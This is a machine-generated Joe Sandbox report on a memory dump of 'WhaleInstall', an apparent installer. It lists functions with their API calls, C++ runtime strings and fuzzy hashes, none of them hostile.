Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 97d75eec222e308809644a989d36e12e07d3d149d864d76275045f1d023de0ac
Instruction ID: 499609561c1b945216d07072118323cffab6181e7ffc1f98c9970c97c520df5f
Opcode Fuzzy Hash: 97d75eec222e308809644a989d36e12e07d3d149d864d76275045f1d023de0ac
Instruction Fuzzy Hash: B501DF13B3925218EA59BA672C02CBB82526F49FD0F858035AE2D4B786FC7CE002D718

Function 00007FF772A7D290 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF772A7D2A8
OpenProcess.KERNEL32 ref: 00007FF772A7D2BF
CloseHandle.KERNEL32 ref: 00007FF772A7D2CD

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen
String ID:
API String ID: 2750122171-0
Opcode ID: 99f7effd634d712065df6948c869c979f0bd9edde552f81b6bdc0056739b9cae
Instruction ID: ed4a67b293b0848e8fe700e2e7eb4f936ffd6b921e4c9f4d849d34de32e97a6c
Opcode Fuzzy Hash: 99f7effd634d712065df6948c869c979f0bd9edde552f81b6bdc0056739b9cae
Instruction Fuzzy Hash: 55F0B436A39A4382FB547FB05454839D290AF54759F890934CD3A453A0FFADA446CB78

Function 00007FF772A7DB00 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF772A7DB20
GetCurrentThreadId.KERNEL32 ref: 00007FF772A7DB4D

Strings

RWL%p %lu V=%0X B=%d r=%ld w=%ld L=%p %s, xrefs: 00007FF772A7DB5B
RWL%p %lu %s, xrefs: 00007FF772A7DB2C

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CurrentThread
String ID: RWL%p %lu %s$RWL%p %lu V=%0X B=%d r=%ld w=%ld L=%p %s
API String ID: 2882836952-1296656760
Opcode ID: 2b6743185c519173ab8f31302112940ff64cf629f4134f887bc7932c3f909bfd
Instruction ID: ca7e4e927cc92017346183ff73c79e9ee3a74507c816800161806834400ac9cc
Opcode Fuzzy Hash: 2b6743185c519173ab8f31302112940ff64cf629f4134f887bc7932c3f909bfd
Instruction Fuzzy Hash: D6016D37A29A8986E711AF15E840B69B6A0EB88B98F844035DE1C47760EF7CD445CB14

Function 00007FF772A7A680 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF772A7A6DA
OutputDebugStringA.KERNEL32 ref: 00007FF772A7A6FA
abort.MSVCRT ref: 00007FF772A7A700

Strings

Error cleaning up spin_keys for thread %lu., xrefs: 00007FF772A7A6E0

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CurrentDebugOutputStringThreadabort
String ID: Error cleaning up spin_keys for thread %lu.
API String ID: 3512971422-1576690263
Opcode ID: 7ec8deb51f96b914e56089dde07e707cb57a47323ee740961aabab51f09608c9
Instruction ID: 68766d393a4da84a5e6383c181fb5f5dd32cccdc43bd9274b65ee8954638d784
Opcode Fuzzy Hash: 7ec8deb51f96b914e56089dde07e707cb57a47323ee740961aabab51f09608c9
Instruction Fuzzy Hash: 86013C32528B8581E710AB50F45475BB7B0FB88788F944035EA9907B65EFBDD004CB54

Function 00007FF772A6D570 Relevance: 6.4, APIs: 5, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A6D609
memcpy.MSVCRT ref: 00007FF772A6D61E
free.MSVCRT ref: 00007FF772A6D629

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 47c48b1b86ca0d0b34c4d851efd291e78c4b733447e6cb291515050f2db51ec6
Instruction ID: 173776ec6481563e0f1c58fb15d14f2f9b19741169faed36a4df4c472233bb15
Opcode Fuzzy Hash: 47c48b1b86ca0d0b34c4d851efd291e78c4b733447e6cb291515050f2db51ec6
Instruction Fuzzy Hash: DC41F167A39E4340EB227E215600A39D251AF40BECF964231DE7D06BD4DFACE451CE28

Function 00007FF772A7A8F0 Relevance: 6.3, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00007FF772A7A923
free.MSVCRT ref: 00007FF772A7A931
free.MSVCRT ref: 00007FF772A7A93F

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0ef5ab5c18d17ceab7067e823e90fe40817caff7b530193a2748a7f5e1893213
Instruction ID: 84a6549a01a1f3b9a66f9e5317a46f96ad093f34cde48b6c7a1e13d3bdca25ac
Opcode Fuzzy Hash: 0ef5ab5c18d17ceab7067e823e90fe40817caff7b530193a2748a7f5e1893213
Instruction Fuzzy Hash: 53319E23A39A02A4EB14BF21D414BB8A391AF40B94FC64532CD3E137D6DFECA555C728

Function 00007FF772A6BFF0 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

[, xrefs: 00007FF772A6C500
}::, xrefs: 00007FF772A6C337
{default arg#, xrefs: 00007FF772A6C226

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID: [${default arg#$}::
API String ID: 0-1834506232
Opcode ID: 0ca66a8ec0682cceeb40b71d6165ebf1456a9a388e1a9f63d16838eba09cd9a9
Instruction ID: a45507112976b683707f74a5357ee883fbc8f5cd0e8284b685ee78baf9561e3d
Opcode Fuzzy Hash: 0ca66a8ec0682cceeb40b71d6165ebf1456a9a388e1a9f63d16838eba09cd9a9
Instruction Fuzzy Hash: 20D1C473A286C286E725AB2194047FAB792EB15B4CF498031CFA907745DFBDE481C724

Function 00007FF772A728C0 Relevance: 6.2, APIs: 4, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4453dd76277a44bde9f97c13ac40b00bc20d1c7bf8d81cd42634b5e36176889
Instruction ID: 24dafa17f80ff77db709912baa2b690b63956daec3014489b3e8e12547b2e1f4
Opcode Fuzzy Hash: b4453dd76277a44bde9f97c13ac40b00bc20d1c7bf8d81cd42634b5e36176889
Instruction Fuzzy Hash: 9991B873E3825287F765BF298400B7AA791EB44B54F9A8134CE2C57385CB7CE841CB68

Function 00007FF772A68B4E Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

{lambda, xrefs: 00007FF772A68B4E
, xrefs: 00007FF772A6AC1E
}, xrefs: 00007FF772A6992C

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID: ${lambda$}
API String ID: 0-105588721
Opcode ID: 25af3bdf0e1f8f129558970c426a94e6b08c7d646a2b7389ff6fb27e88857c7f
Instruction ID: 5bd45a259dbd37aa714ddfd82dcc379d31afc1b04e6d6f3cad2268a92e6a0d7b
Opcode Fuzzy Hash: 25af3bdf0e1f8f129558970c426a94e6b08c7d646a2b7389ff6fb27e88857c7f
Instruction Fuzzy Hash: 76A1CC72A286C28AE755AF25C000BE967A1FB44B4CF8D8031DE590B78ACFBCE445D774

Function 00007FF772AE88A0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

basic_string: construction from null is not valid, xrefs: 00007FF772AE895F

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID: basic_string: construction from null is not valid
API String ID: 0-2991274800
Opcode ID: e284e96c1f34eeeceb79eb458fc987ca0a45acd3ad0306bd6319488c4e8ab735
Instruction ID: 6e5e963f8cb9fb120a22b8d3212c342bcff2950822556236654d29a0333dde20
Opcode Fuzzy Hash: e284e96c1f34eeeceb79eb458fc987ca0a45acd3ad0306bd6319488c4e8ab735
Instruction Fuzzy Hash: BE51D333E39AD198EB20AF29E4005A9A3A4FB58BC4F894131DFAC07765DF6CD552CB10

Function 00007FF772AD9AA0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF772AD9C5D

Part of subcall function 00007FF772B2CDD0: strlen.MSVCRT ref: 00007FF772B2CDFC

Strings

basic_string::erase, xrefs: 00007FF772AD9B5A
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF772AD9B61

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpystrlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::erase
API String ID: 3412268980-2652434754
Opcode ID: 06578c274c9bc0bba0b835264f17adcfcb0a7821df8f06eb08fc42bb653b3178
Instruction ID: 27bee49b1c20e52b004f8c5ffeb27f0fa8d393a249537e4fcdad78f7f7145415
Opcode Fuzzy Hash: 06578c274c9bc0bba0b835264f17adcfcb0a7821df8f06eb08fc42bb653b3178
Instruction Fuzzy Hash: 9B51C073B39A4784DB10AF29D4449BDA3A0AB54BD4F958132DF2C473A8EEBCD691C710

Function 00007FF772A93090 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 179stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A930D3
wcslen.MSVCRT ref: 00007FF772A93173

Strings

basic_string: construction from null is not valid, xrefs: 00007FF772A93116, 00007FF772A931B6, 00007FF772A93256

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlenwcslen
String ID: basic_string: construction from null is not valid
API String ID: 803329031-2991274800
Opcode ID: 8a8fa0bd95415c1a20adceaffcf0ce9ed1b35e778346ef52cd9ebe97f94f72b3
Instruction ID: a291001e6e94332dc8d45984a01ff505fa980d6db30a472ec2717606b932212f
Opcode Fuzzy Hash: 8a8fa0bd95415c1a20adceaffcf0ce9ed1b35e778346ef52cd9ebe97f94f72b3
Instruction Fuzzy Hash: BB519C23B39B4691EF21AB1AE8404BDA370EB58F84B954432DE6D07771EE7CE551CB20

Function 00007FF772B0DBE0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 173COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF772B0DC43

Strings

basic_string::_M_create, xrefs: 00007FF772B0DC4A, 00007FF772B0DCFA, 00007FF772B0DDAA

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memset
String ID: basic_string::_M_create
API String ID: 2221118986-3122258987
Opcode ID: c39f0b830e2151349be14cb93432163da6ed2fe16efeaa68614bd8ea1d620ff9
Instruction ID: d7cc20a604b3eb09e533f1b91b15bea42e3cccedb078633e283e42199e4fa22e
Opcode Fuzzy Hash: c39f0b830e2151349be14cb93432163da6ed2fe16efeaa68614bd8ea1d620ff9
Instruction Fuzzy Hash: 73419463B2968245EB366F1AF9402B8E650E7597D4FD88130CFAD477A2EE7CD481C710

Function 00007FF772A6805B Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF772A680C5

Part of subcall function 00007FF772A63430: strlen.MSVCRT ref: 00007FF772A63441

Strings

: , xrefs: 00007FF772A68102
new , xrefs: 00007FF772A6B119
false, xrefs: 00007FF772A6B265

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strcmpstrlen
String ID: : $false$new
API String ID: 3853617425-1613062662
Opcode ID: 6cb93462f80fb953658874c86c5129804990e3e7da2b47c609d2c6b25695a42d
Instruction ID: 8b77389667017d8d626de494b07acdd919770b7219be5b708f8d6a32ceed2fb3
Opcode Fuzzy Hash: 6cb93462f80fb953658874c86c5129804990e3e7da2b47c609d2c6b25695a42d
Instruction Fuzzy Hash: 29418133A7864645FB55BA16E8007F99251EB51BE8FC64032CE2D0B796DFBCD482CB24

Function 00007FF772B106E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF772B10767
memcpy.MSVCRT ref: 00007FF772B1078B
memcpy.MSVCRT ref: 00007FF772B107AC

Strings

basic_ios::clear, xrefs: 00007FF772B106E8

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpy
String ID: basic_ios::clear
API String ID: 3510742995-82543608
Opcode ID: 2cd882b674e083086871c35d879bd27f9f9dc88734c2591eb4f5963d0b2b7d5d
Instruction ID: 881f6327eff0737a0eb1467c352d7327abdf26c6a88fa79a33761946976524db
Opcode Fuzzy Hash: 2cd882b674e083086871c35d879bd27f9f9dc88734c2591eb4f5963d0b2b7d5d
Instruction Fuzzy Hash: A031D873B3DA8695EA11AB259500079A752EF05BC4FA84C31DE6C07765EEBCE101CF60

Function 00007FF772A68F27 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A6A1A1

Strings

{parm#, xrefs: 00007FF772A6A15F
this, xrefs: 00007FF772A68F44
}, xrefs: 00007FF772A6A23D

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

